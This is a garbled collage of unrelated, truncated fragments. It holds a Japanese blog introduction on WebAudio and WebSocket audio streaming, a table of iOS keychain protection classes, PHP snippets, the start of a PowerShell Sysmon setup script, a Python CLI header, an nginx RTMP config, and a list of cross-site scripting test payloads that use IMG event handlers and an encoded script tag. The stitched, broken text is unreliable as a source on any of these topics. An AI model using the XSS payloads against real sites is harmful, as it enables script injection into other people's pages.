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WebAudio+WebSocketでブラウザへの音声リアルタイムストリーミングを実装する

WebRTCでやれよ！と言われそうなところですが、 WebSocket+WebAudioの組み合わせで音声ストリーミングをシンプルに構成する方法を紹介してみます。

サーバーサイドは何でも良いのですが、とりあえずNode.jsでtest.mp3というサンプルファイルをpcmモジュールでデコードし、 wsでクライアントに垂れ流す作りにしておきます。

Protection Domain (pdmn)	Keychain Accessibility Values
`ck`	`kSecAttrAccessibleAfterFirstUnlock`
`cku`	`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`
`dk`	`kSecAttrAccessibleAlways`
`akpu`	`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`

	%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">

	<?php

	/*

	JSON Encode Pretty Print with horizontal alignment of colons

	json_encode( $obj, JSON_PRETTY_PRINT \| JSON_NUMERIC_CHECK)

	{
	"title": "languages",

	#!/usr/bin/php
	<?php

	// Usage: /usr/bin/mysql DBNAME -u USERNAME -pPASSWORD -t -e "SELECT * FROM mytable" \| tabulate

	define ('MAX_ROW_WIDTH', 140);
	define ('MAX_DATA_WIDTH', 100);

	function convert ($table) {

	# ================================================
	# Sysmon & Windows Event Log Configuration Script
	# ================================================

	# Check for administrative privileges
	$currentUser = [Security.Principal.WindowsIdentity]::GetCurrent()
	$principal = New-Object Security.Principal.WindowsPrincipal($currentUser)
	if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
	Write-Host "This script requires administrative privileges. Please run as an administrator." -ForegroundColor Red
	exit 1

	#!/usr/bin/env python3
	# -- coding: utf-8 --
	# Version: 08-2024

	# Migrated to: https://github.com/mrjk/python_snippets/blob/main/examples/typer/cli-app-typer.py

	"""MyApp CLI interface

	This CLI provides a similar experience as the git CLI, but in Python with Typer.

	worker_processes 1;
	error_log logs/error.log debug;
	events {
	worker_connections 1024;
	}
	rtmp {
	server {
	listen 1935;
	allow play all;